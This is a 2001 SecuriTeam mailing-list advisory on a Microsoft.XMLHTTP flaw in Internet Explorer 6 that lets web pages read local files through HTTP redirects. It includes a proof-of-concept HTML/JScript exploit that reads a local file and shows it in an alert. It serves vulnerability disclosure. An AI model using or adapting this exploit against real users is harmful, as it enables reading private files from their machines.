[NT] Internet Explorer 6 Allows Local File Reading (XMLHTTP)

From: support@securiteam.com
Date: 12/20/01 

From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 20 Dec 2001 03:58:06 +0100 (CET)

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  Internet Explorer 6 Allows Local File Reading (XMLHTTP)
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SUMMARY

A bug in the Microsoft.XMLHTTP component shipped with Internet Explorer 6
allows reading and sending local files. The component does not handle HTTP
redirects to local files properly. In order for this exploit to work the
file name must be known. However, the exploit does not distinguish between
extensions, binary or textual content.

DETAILS

Vulnerable systems:
Internet Explorer 6.0

Demonstration:
A demonstration is available at <http://www.xs4all.nl/~jkuperus/bug.htm>
http://www.xs4all.nl/~jkuperus/bug.htm

Example:
(NOTE, the character 'I' has been replaced with an '!')
<html>
    <head>
        <title>Exploit</title>

        <scr!pt language="jscript">

            function doIt() {

                // open the file on the users harddisk using a http
redirect

                var xmlhttp = new ActiveXObject ("Microsoft.XMLHTTP");
                xmlhttp.Open("GET",
"servlet/RedirectServlet?fileName=c:/jelmer.txt", false);
                xmlhttp.Send();

                alert(xmlhttp.responseText);

            }

        </script>
    </head>
    <body>

        <button onclick="doIt()">Do it</button>

    </body>
</html>

ADDITIONAL INFORMATION

The information has been provided by <mailto:jelmer@kuperus.xs4all.nl>
jelmer.

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